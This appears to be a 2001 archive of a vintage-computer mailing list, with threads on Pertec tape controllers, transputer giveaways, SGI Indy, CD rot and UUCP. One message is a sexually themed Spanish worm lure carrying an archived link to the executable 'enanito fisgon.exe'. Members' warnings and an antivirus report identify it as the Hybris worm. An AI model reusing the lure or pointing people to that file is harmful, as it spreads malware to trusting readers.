+----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From foo at siconic.com Wed Jun 20 12:21:20 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:38 2005 Subject: Apple I web site In-Reply-To: <20010620121936.31308@mail.earthlink.net> Message-ID: On Wed, 20 Jun 2001, Tom Owad wrote: > Joe Torzewski and I just completed a very comprehensive web site about > the Apple I, which may be of interest to some. It's at www.applefritter.com/apple1>. Terrific site! Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From bill at SunSouthWest.com Wed Jun 20 11:05:05 2001 From: bill at SunSouthWest.com (bill) Date: Sun Feb 27 19:04:38 2005 Subject: pertec interface Message-ID: <3B30C9B1.757E@SunSouthWest.com> ISA Card? There were several. *very* expensive - maybe $500 or so for maybe 12-14 TTL chips on a short 8-bit ISA card. I've got one - been thinking (maybe not very seriously) of putting everything into an ASIC or FPGA as a do-it-yourself project. Realistically, how many tapes are there out there that need to be read? Found a Qualcom open style deck not long ago - it's a SCSI, and a lot lighter and easier to haul around than those F-880 Cipher pigs. Which are taking up space ''just in case''. Bill Hemmings Tucson, AZ bill@sunsouthwest.com = ==================== = = > Re: pertec interface > > From: John Honniball (John.Honniball@uwe.ac.uk) > Date: 04/06/01-12:12:57 PM Z > > I' looking for data sheet of the PERTEC interface, > > electrical and timing caracteristics > > So, much as I hate to say "Me Too", I'd also like to find > out more about the Pertec interface. Was there ever a PC > ISA-bus card for this? Or a VME (Sun-3) card? From mikeford at socal.rr.com Wed Jun 20 13:43:34 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:38 2005 Subject: CD Eating Fungus? In-Reply-To: References: <20010620.114153.-300323.0.jeff.kaneko@juno.com> Message-ID: >On Wed, 20 Jun 2001, Jeffrey l Kaneko wrote: >> Well it would figure-- most of the really *important* discoveries >> were accidental. Take the microwave oven, fer example . . . :^) > >Yes, the story of how that the microwave oven was invented was neat! >It just shows that playing and experimentation in the workplace, and >eating while working, are all good ideas. Alas, many biz-'droids have >no understanding of such things... isn't it interesting how many >people who are superb examples of devolution end up in management? What we really need is a CxO eating fungus. ;) My wife and I were having lunch the other day in a trendy little bistro type place in the heart of Orange county's tech belt, and the hot topic at most tables was "management is so dumb". Seems to me once you get above the hands on level in almost every company that it becomes a political personal agenda group with little grasp of market or product. A fungus seems like a really poetic end for them. Getting back to CD rot, I think the operative thing to consider is condensing humidity, which nothing modern is happy with. From mcguire at neurotica.com Wed Jun 20 14:01:43 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:38 2005 Subject: pertec interface In-Reply-To: Re: pertec interface (bill) References: <3B30C9B1.757E@SunSouthWest.com> Message-ID: <15152.62231.155380.60395@phaduka.neurotica.com> On June 20, bill wrote: > ISA Card? There were several. *very* expensive - maybe $500 > I've got one - been thinking (maybe not very seriously) of > putting everything into an ASIC or FPGA as a do-it-yourself > project. Realistically, how many tapes are there out there > that need to be read? Be careful, it's very easy to underestimate this...a great many organizations are still using 9-track tapes. Your FPGA idea sounds really neat. > Found a Qualcom open style deck not long ago - it's a SCSI, > and a lot lighter and easier to haul around than those F-880 > Cipher pigs. Which are taking up space ''just in case''. Heh. You've never moved a Fuji M2444AC, have you. The Cipher F-880 is tiny. The "right" way to do 9-track these days is the HP 88780. SCSI, caching, fast, quiet, self-threading, and as far as I'm aware, still being produced. -Dave McGuire From spectre at stockholm.ptloma.edu Wed Jun 20 14:11:38 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:38 2005 Subject: Apple I web site In-Reply-To: from Sellam Ismail at "Jun 20, 1 10:21:20 am" Message-ID: <200106201911.MAA10440@stockholm.ptloma.edu> > > Joe Torzewski and I just completed a very comprehensive web site about > > the Apple I, which may be of interest to some. It's at > www.applefritter.com/apple1>. > > Terrific site! Yes, it's excellent! Now if only more computer sites were that comprehensive. ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Death to spammers! http://spam.abuse.net/spam/ ----------------------------- From djenner at halcyon.com Wed Jun 20 14:08:40 2001 From: djenner at halcyon.com (David C. Jenner) Date: Sun Feb 27 19:04:38 2005 Subject: pertec interface References: <3B30C9B1.757E@SunSouthWest.com> Message-ID: <3B30F4B8.CBE40A3C@halcyon.com> http://www.electrovalueinc.com has 8- and 16-bit ISA cards for $280 and $390. bill wrote: > > ISA Card? There were several. *very* expensive - maybe $500 > or so for maybe 12-14 TTL chips on a short 8-bit ISA card. > > I've got one - been thinking (maybe not very seriously) of > putting everything into an ASIC or FPGA as a do-it-yourself > project. Realistically, how many tapes are there out there > that need to be read? > > Found a Qualcom open style deck not long ago - it's a SCSI, > and a lot lighter and easier to haul around than those F-880 > Cipher pigs. Which are taking up space ''just in case''. > > Bill Hemmings > Tucson, AZ > bill@sunsouthwest.com > > = ==================== = = > > > Re: pertec interface > > > > From: John Honniball (John.Honniball@uwe.ac.uk) > > Date: 04/06/01-12:12:57 PM Z > > > > I' looking for data sheet of the PERTEC interface, > > > electrical and timing caracteristics > > > > > So, much as I hate to say "Me Too", I'd also like to find > > out more about the Pertec interface. Was there ever a PC > > ISA-bus card for this? Or a VME (Sun-3) card? From dhquebbeman at theestopinalgroup.com Wed Jun 20 13:58:34 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:38 2005 Subject: PC-ISA Pertec-Interface 9-Track Magtape Drive Controller Sought f or Rent/Lease Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511D4@jeffserver.tegjeff.com> Ok, Has anyone got a PC- (actually any bus will do except MCA) compatible controller card for Pertec-interface tape drives like the Cipher F880 that they would rent or lease to me for a while? Electrovalue has one for $250, but if I could spare that much I could get the Prime running and wouldn't need the controller. Of course, loans are acceptable as well. I'd need docs on how to address it in code, or some code that will talk to it, etc. Tia, -doug quebbeman From rmeenaks at olf.com Wed Jun 20 14:26:22 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:38 2005 Subject: Free transputer stuff... Message-ID: <3B30F8DE.64C5173C@olf.com> Hi, In order to clean out my lab, I decided to give away the following transputer stuff. Yes, this is not much, but nevertheless, somebody is bound to need it: 4 boxes of original CSA transputer education kit software. This includes Occam-2 Compiler, LSC C compiler, Test software, Examples. All are sealed. This only includes the software and nothing else. Also, ONE PER PERSON. Also up for grabs is a set of INMOS ANSI C Compiler manuals. This is version D0214. A bit old, but still usable. Shipping/Pickup is from Long Island, NY.... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From rmeenaks at olf.com Wed Jun 20 14:31:49 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:38 2005 Subject: [Fwd: Free transputer stuff...] Message-ID: <3B30FA25.DEF05552@olf.com> -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ -------------- next part -------------- An embedded message was scrubbed... From: Ram Meenakshisundaram Subject: Free transputer stuff... Date: Wed, 20 Jun 2001 15:26:22 -0400 Size: 1677 Url: http://www.classiccmp.org/pipermail/cctalk/attachments/20010620/ab8f0017/attachment.mht From pete at dunnington.u-net.com Wed Jun 20 14:31:32 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:38 2005 Subject: SGI Indy In-Reply-To: "Zane H. Healy" "Re: SGI Indy" (Jun 20, 11:13) References: Message-ID: <10106202031.ZM3054@indy.dunnington.u-net.com> On Jun 20, 11:13, Zane H. Healy wrote: > On Jun 20, 12:12, James Rice wrote: > >I've acquired a SGI Indy system complete with 21" monitor, keyboard and > >mouse (no IndyCam) but the hard drive has been wiped. Does anyone know > >where I might get a copy of the IRIX media or what are the licensing > >terms. Does the hardware come with the right to the OS like NeXT? > >Looks like a cool system if I can get it up and running. Also are > >flopptical disks still available? One or two suppliers stil sell the media. Getting a floptical drive is rather harder. You might be lucky, though; someone I know picked one up for a fiver a couple of years ago. However, I'd not recommend spending a lot of money on one. They are rather sensitive, and in Indys, gather a *lot* of dust, as the PSU fan sucks air through the floptical. I have a beautiful example of "why you should keep disk heads clean" pinned to my wall as a result. If it's just for transferring stuff to/from other machines, you might find a Zip drive (has to be SCSI for an Indy) or the network rather more useful. SGI also supplied SCSI floppies (made by TEAC) in external cases, and other makes work fine (I've used DEC ones several times). BTW, Indys are not quite on-topic yet, under the 10-year rule :-) Not long to go, though, as they were released in 1992/3. > Unfortunatly your best bet is probably eBay, unless someone on the list can > help you. If you want a recent version you'll pay through the nose, and > even older versions aren't exactly cheap. Actually, every IRIX system did come with a right to whatever version of IRIX was supplied with it -- but not to free upgrades. So it's permissible for a user to obtain and use a copy (including a CD-R copy). This was discussed at some length on comp.sys.sgi last year, and the concensus was that SGI ought to provide a reasonably-low-cost copy (as opposed to the price of an upgrade). However, it seems few SGI sales offices adhere to this, and the UK office (in my experience) certainly doesn't, even though they can check to see when the machine was sold and therefore which versin of IRIX would be appropriate. James, if you mail me off-list with a note of the machine serial number, I'll see if I can help out. To boot from CD-ROM, you'll need a CD-ROM drive capable of delivering 512-byte blocks (not the 2048-byte blocks used by PCs etc). Many modern ones will be fine, but older ones may not unless they have a switch or jumpers to set this. -- Pete Peter Turnbull Network Manager University of York From pete at dunnington.u-net.com Wed Jun 20 14:48:06 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:38 2005 Subject: CD Eating Fungus? In-Reply-To: Chuck McManis "RE: CD Eating Fungus?" (Jun 20, 10:56) References: <5.0.0.25.2.20010620105022.025abc10@209.185.79.193> Message-ID: <10106202048.ZM3060@indy.dunnington.u-net.com> On Jun 20, 10:56, Chuck McManis wrote: > I had thought it was common knowledge, the reflective layer in many CDs is > sputtered aluminum. When exposed to oxygen (as can happen when oxygen > migrates through the plastic or the plastic is cracked) the Aluminum > oxidizes and turns black. It does look a bit like a fungus but only because > it tends to follow the grain pattern in the deposited aluminum. > Aluminum-oxide is black and quite hard actually. > > I've seen several examples of this in "real life" and while I have never > seen the process to actually _remove_ Aluminum from the disk it is > conceivable that the Al02 would form a different crystal matrix and thus > change its orientation relative to the original sputtering. That could > leave 'gaps' where the original reflective layer was. But aluminium oxide is Al203 and it's a white powder. Or a rather attractive (and, yes, very hard) crystal, known as carborundum, ruby, emerald, amethyst, etc depending on the impurities :-) The only place you'd get AlO2 (which is also white/clear, by the way) is as aluminate ions in solution. > So folks to don't understand chemistry invent the 'fungus' idea and off it > goes into urban legend-dom. -- Pete Peter Turnbull Network Manager University of York From tony.eros at machm.org Wed Jun 20 14:56:47 2001 From: tony.eros at machm.org (Tony Eros) Date: Sun Feb 27 19:04:38 2005 Subject: Free transputer stuff... In-Reply-To: <3B30F8DE.64C5173C@olf.com> Message-ID: <5.0.2.1.0.20010620155557.038405a0@mail.njd.concentric.com> Ram - I'm definitely interested in a one of the education kits and the INMOS manuals, if they're still available. Thanks! -- Tony At 03:26 PM 6/20/2001 -0400, you wrote: >Hi, > >In order to clean out my lab, I decided to give away the following >transputer >stuff. Yes, this is not much, but nevertheless, somebody is bound to >need it: > >4 boxes of original CSA transputer education kit software. This >includes >Occam-2 Compiler, LSC C compiler, Test software, Examples. All are >sealed. This only includes the software and nothing else. Also, >ONE PER PERSON. > >Also up for grabs is a set of INMOS ANSI C Compiler manuals. This is >version >D0214. A bit old, but still usable. Shipping/Pickup is from Long >Island, NY.... > >Ram > > >-- > > ,,,, > /'^'\ > ( o o ) > -oOOO--(_)--OOOo------------------------------------- >| Ram Meenakshisundaram | >| Senior Software Engineer | >| OpenLink Financial Inc | >| .oooO | >| ( ) Oooo. Email: rmeenaks@olf.com | > ---\ (----( )-------------------------------------- > \_) ) / > (_/ From rmeenaks at olf.com Wed Jun 20 15:10:16 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:38 2005 Subject: Free transputer stuff... References: <3B30F8DE.64C5173C@olf.com> Message-ID: <3B310328.8A61C1CD@olf.com> Ram Meenakshisundaram wrote: > Hi, > > In order to clean out my lab, I decided to give away the following > transputer > stuff. Yes, this is not much, but nevertheless, somebody is bound to > need it: > > 4 boxes of original CSA transputer education kit software. This > includes > Occam-2 Compiler, LSC C compiler, Test software, Examples. All are > sealed. This only includes the software and nothing else. Also, > ONE PER PERSON. > > Also up for grabs is a set of INMOS ANSI C Compiler manuals. This is > version > D0214. A bit old, but still usable. Shipping/Pickup is from Long > Island, NY.... > > Maybe I havent stressed the CSA stuff clearly, but it DOES NOT include ANY hardware. This is just the software for the kit, but it is 100% usable with other transputer kits (other than the test programs). So far, I got two takers and the manuals are now gone. I still have 2 more boxes of software disks left... Cheers, Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From rmeenaks at olf.com Wed Jun 20 15:21:39 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:38 2005 Subject: Free transputer stuff... References: <3B30F8DE.64C5173C@olf.com> <3B310328.8A61C1CD@olf.com> Message-ID: <3B3105D2.1409E08B@olf.com> Oh, This is just phase I of my transputer collection cleanup. There is still a lot of other stuff I am planning on giving away. This is to make room for 3 LARGE boxes of transputer equipment that has been shipped to me :-) There are several books, software, and papers that I need to sort out. All duplicate books, software, etc, are up for grabs, sorry no hardware... Parting is such sweat sorrow.... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From ard at p850ug1.demon.co.uk Wed Jun 20 13:34:25 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:38 2005 Subject: Wave of the Future (Spam) In-Reply-To: <004101c0f91f$8ac76680$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 19, 1 06:25:43 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2841 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010620/21a079f2/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 20 13:37:52 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:38 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: from "Ernest" at Jun 19, 1 07:50:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 808 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010620/66bde36a/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 20 13:44:27 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:38 2005 Subject: Exatron Stringy Floppy drives? In-Reply-To: from "Fred Cisin" at Jun 19, 1 08:31:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1376 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010620/0b139c7b/attachment.ksh From rmeenaks at olf.com Wed Jun 20 15:25:22 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:38 2005 Subject: Free transputer stuff... References: <3B30F8DE.64C5173C@olf.com> <3B310328.8A61C1CD@olf.com> Message-ID: <3B3106B1.F02BF0D6@olf.com> Geez, Sorry about this. The CSA software does not have manuals, but you can download PDF/Postscript versions of the manuals from my website at http://members.nbci.com/transputer among other things transputer related.... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From jrice at texoma.net Wed Jun 20 15:35:25 2001 From: jrice at texoma.net (James Rice) Date: Sun Feb 27 19:04:38 2005 Subject: SGI Indy References: <3B30D98E.28D70231@texoma.net> Message-ID: <3B31090D.962B88A@texoma.net> Sorry about the OT post. I hadn't even looked to see the relase date of the Indy. I was just excited to get one. James Rice wrote: > I've acquired a SGI Indy system complete with 21" monitor, keyboard and > mouse (no IndyCam) but the hard drive has been wiped. Does anyone know > where I might get a copy of the IRIX media or what are the licensing > terms. Does the hardware come with the right to the OS like NeXT? > Looks like a cool system if I can get it up and running. Also are > flopptical disks still available? From rmeenaks at olf.com Wed Jun 20 15:39:00 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:38 2005 Subject: Free for the taking... References: Message-ID: <3B3109E4.C96B61ED@olf.com> Vance Dereksen wrote: > I can pick it up. > > Peace... Sridhar > Its all yours. Let me know when you want to pick it up.... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From hahaha at sexyfun.net Wed Jun 20 15:49:27 2001 From: hahaha at sexyfun.net (Hahaha) Date: Sun Feb 27 19:04:38 2005 Subject: Enanito si, pero con que pedazo! Message-ID: <200106202049.PAA97998@opal.tseinc.com> Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una *grande* sorpresa para su fiesta de compleaños. Al entardecer, llegaron. Tenian un brillo incomun en los ojos... -------------- next part -------------- A non-text attachment was scrubbed... Name: enanito fisgon.exe Type: application/octet-stream Size: 23040 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010620/8061a8d0/enanitofisgon.exe From healyzh at aracnet.com Wed Jun 20 15:59:06 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:38 2005 Subject: SGI Indy In-Reply-To: <3B31090D.962B88A@texoma.net> from "James Rice" at Jun 20, 2001 03:35:25 PM Message-ID: <200106202059.f5KKx7v17654@shell1.aracnet.com> > Sorry about the OT post. I hadn't even looked to see the relase date of the > Indy. I was just excited to get one. I believe the Indy falls under the cool tech dispensation :^) So it's OK to ask about it here :^) Zane From spectre at stockholm.ptloma.edu Wed Jun 20 16:18:15 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:38 2005 Subject: Enanito si, pero con que pedazo! In-Reply-To: <200106202049.PAA97998@opal.tseinc.com> from Hahaha at "Jun 20, 1 03:49:27 pm" Message-ID: <200106202118.OAA10468@stockholm.ptloma.edu> > Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve > fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una > *grande* sorpresa para su fiesta de compleaños. Al entardecer, llegaron. > Tenian un brillo incomun en los ojos... For those of you who don't know Spanish, this is the Snow White virus again. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- It is a tremendous Mitzvah to be happy always! -- Reb. Nachman ------------- From kapteynr at cboe.com Wed Jun 20 16:21:46 2001 From: kapteynr at cboe.com (Rob Kapteyn) Date: Sun Feb 27 19:04:38 2005 Subject: FW: Virus Alert Message-ID: <6D5A04499826D311811100902760DDCF07F9DDB2@msx1.cboe.com> Have detected a virus (TROJ_HYBRIS.M) in your mail traffic on 06/20/2001 16:11:54 with an action move. Sender=owner-classiccmp@classiccmp.org From elecdata at kcinter.net Wed Jun 20 16:17:26 2001 From: elecdata at kcinter.net (bill claussen) Date: Sun Feb 27 19:04:38 2005 Subject: Ha! Ha! Ha! Virus from Classicomp Message-ID: <3B3112E6.218CC103@kcinter.net> Afternoon, I just received an email with the above virus a few minutes ago, except now it is all in spanish. It came from classic comp. So Beware! Bill From rdd at smart.net Wed Jun 20 16:32:47 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:38 2005 Subject: UUCP and Netnews In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Sellam Ismail wrote: > Why, USENET-Classic, of course :) Here's a vote for Sellam's choice of naming! I like it! -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From support at star.co.uk Wed Jun 20 16:15:21 2001 From: support at star.co.uk (support@star.co.uk) Date: Sun Feb 27 19:04:38 2005 Subject: WARNING. You sent a potential virus or unauthorised code Message-ID: <20010620211521.21006.qmail@server-5.tower-17.messagelabs.com> The MessageLabs Virus Control Centre discovered a possible virus or unauthorised code (such as a joke program or trojan) in an email sent by you. Please read this whole email carefully. It explains what has happened to your email, which suspected virus has been caught, and what to do if you need help. ------------------------------------------------------------ Some details about the infected message ------------------------------------------------------------ To help identify the email: The message sender was owner-classiccmp@classiccmp.org hahaha@sexyfun.net classiccmp@classiccmp.org (if this is not your email address, the message sender possibly belongs to a mailing list to which you both subscribe.) The message was titled 'Enanito si, pero con que pedazo!' The message date was Wed, 20 Jun 2001 15:49:27 -0500 (CDT) The message identifier was <200106202049.PAA97998@opal.tseinc.com> The message recipients were Lee.Davison@merlincommunications.com To help identify the virus: Scanner 1 (F-Secure) reported the following: F-Secure Anti-Virus for i386-linux Release 4.08 build 2260 sign.def version 2001-06-19 fsmacro.def version 2001-06-18 sign2.def version 2001-06-19 665202_2MA-OCTET-STREAM_enanito_fisgon.exe infection: W95/Hybris.worm.B 1 files scanned 1 infections found The message was diverted into the virus holding pen on mail server server-5.tower-17.messagelabs.com (id 665202_993071721) and will be held for 30 days before being destroyed. ------------------------------------------------------------ What should you do now? ------------------------------------------------------------ If you sent the email from a corporate network, you should first contact your local Helpdesk or System Administrator for advice. They will be able to help you disinfect your workstation. If you sent the email from a personal or home account, you will need to disinfect your computer yourself. To do this you will need an anti-virus program. We suggest using one of the leading industry anti-virus packages such as McAfee, F-Secure or Cybersoft, which cost £15-£30 per copy. ------------------------------------------------------------ Getting more help ------------------------------------------------------------ If you believe this message to be a false alarm or you require further assistance, you can email Star Internet Support at:- support@star.net.uk or contact Star Helpdesk by telephone on:- +44 (0) 1285 884433 Please quote the following Virus Pen ID when contacting Support. <<< mail server server-5.tower-17.messagelabs.com (id 665202_993071721) >>> If replying by email, please forward this entire email. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From cmcmanis at mcmanis.com Wed Jun 20 16:31:42 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:38 2005 Subject: CD Eating Fungus? In-Reply-To: <10106202048.ZM3060@indy.dunnington.u-net.com> References: <5.0.0.25.2.20010620105022.025abc10@209.185.79.193> Message-ID: <5.0.0.25.2.20010620142754.02c7fcd0@209.185.79.193> At 07:48 PM 6/20/01 +0000, Pete wrote: >But aluminium oxide is Al203 and it's a white powder. Or a rather >attractive (and, yes, very hard) crystal, known as carborundum, ruby, >emerald, amethyst, etc depending on the impurities :-) The only place >you'd get AlO2 (which is also white/clear, by the way) is as aluminate ions >in solution. My aluminum CDs oxidize black, my aluminum sailboat rigging used to, (before I got rid of it), aluminum cans that I tried to melt at one point also turned into the a black form of the Aluminum oxide powder. Perhaps there are other impurities in it that change its color, I don't know, I just observe. Now is someone had a classic HP spectrometer I suppose I could put this stuff in there and see what it said it was. :-) --Chuck From jhellige at earthlink.net Wed Jun 20 16:38:26 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:38 2005 Subject: Enanito si, pero con que pedazo! In-Reply-To: <200106202118.OAA10468@stockholm.ptloma.edu> References: <200106202118.OAA10468@stockholm.ptloma.edu> Message-ID: > > Faltaba apenas un dia para su aniversario de de 18 a?os. Blanca de Nieve >> fuera siempre muy bien cuidada por los enanitos. Ellos le prometieron una >> *grande* sorpresa para su fiesta de complea?os. Al entardecer, llegaron. >> Tenian un brillo incomun en los ojos... > >For those of you who don't know Spanish, this is the Snow White virus again. I don't know that much Spanish, but I didn't need to in order to know not to do anything more than immediately delete the thing. Then again, I'm on my Mac, so it wouldn't have made any difference anyway. It'd be interesting to know how many people NOT on this list got it as well though. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From rdd at smart.net Wed Jun 20 16:50:27 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:38 2005 Subject: UUCP and Netnews In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Brian Chase wrote: > On Mon, 18 Jun 2001, Bill Gunshannon wrote: > > We could probably start with mostly UUCP over IP by setting the costs > > higher for true dial-up links and then maybe move some of it over as With 56K modems, and using inexpensive long-distance services, the costs should be minimal for those that need a long-distance connection... a lot less than it was back in the days of Trailblazer modems or earlier. Isn't there some very inexpensive calling plan now that makes transatlantic calls very inexpensive as well? > > even get a paralel USENET running that will be more tightly controlled > > and thus less full of junk and more usefull like it used to be. See, there really was a Usenet Cabal... even though we all know that there is, and never was, a Cabal. ;-) > Yeah, maybe it should be like a ham radio license. You have to pass a > test before you're allowed access to it. Sounds good. Anyone who answers that C-News is a televised newscast, asks "what's UUCP?," or says "what was wrong with the invasion of the AOLers?" gets banned from it for life. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From rdd at smart.net Wed Jun 20 16:57:38 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:38 2005 Subject: Interest in UUCP? In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Bill Gunshannon wrote: > As a protocol, UUCP works great over packet radio, even at really low > data rates. Much better than the BBS protocol that became the standard. > But then, hams always suffered from NIH syndrome. This makes me want to get my ham license! I really should have obtained it years ago after taking communications electronics I and II, but I was short on time, and never got 'round to it. > Although there is no longer an antenna on the roof, I just peeked through > the hole in the raised floor here in my office and I can see the packet > node hardware is still under there. No packet hardware... I guess that my old Utica transciever would be useless for this. Since we're talking about sending/receiving data in a classic manner, wouldn't it be neat to use sparc-gap transmitters, and then never worrying about having to do any form of D/A or A/D conversion? -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From healyzh at aracnet.com Wed Jun 20 16:53:05 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:38 2005 Subject: UUCP and Netnews In-Reply-To: from "R. D. Davis" at Jun 20, 2001 05:50:27 PM Message-ID: <200106202153.f5KLr5F20644@shell1.aracnet.com> > Sounds good. Anyone who answers that C-News is a televised newscast, > asks "what's UUCP?," or says "what was wrong with the invasion of the > AOLers?" gets banned from it for life. Let me guess, Jerry Pournelle , or anyone with an AOL address is automatically banned? :^) Zane From jeff.kaneko at juno.com Wed Jun 20 16:54:53 2001 From: jeff.kaneko at juno.com (Jeffrey l Kaneko) Date: Sun Feb 27 19:04:38 2005 Subject: Enanito si, pero con que pedazo! Message-ID: <20010620.165453.-301791.0.jeff.kaneko@juno.com> On Wed, 20 Jun 2001 14:18:15 -0700 (PDT) Cameron Kaiser writes: > > Faltaba apenas un dia para su aniversario de de 18 años. Blanca de > Nieve > > fuera siempre muy bien cuidada por los enanitos. Ellos le > prometieron una > > *grande* sorpresa para su fiesta de compleaños. Al entardecer, > llegaron. > > Tenian un brillo incomun en los ojos... > > For those of you who don't know Spanish, this is the Snow White > virus again. Si. ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From jim at calico.litterbox.com Wed Jun 20 16:59:52 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:38 2005 Subject: Interest in UUCP? In-Reply-To: from "R. D. Davis" at Jun 20, 2001 05:57:38 PM Message-ID: <200106202159.PAA19750@calico.litterbox.com> It's my impression the FCC takes a pretty dim view of spark-gap transmitters. But then I've never been a ham or anything like that. I don't *do* analog (yet). > No packet hardware... I guess that my old Utica transciever would be > useless for this. Since we're talking about sending/receiving data in > a classic manner, wouldn't it be neat to use sparc-gap transmitters, > and then never worrying about having to do any form of D/A or A/D > conversion? -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From ip500 at home.com Wed Jun 20 17:22:14 2001 From: ip500 at home.com (Craig Smith) Date: Sun Feb 27 19:04:38 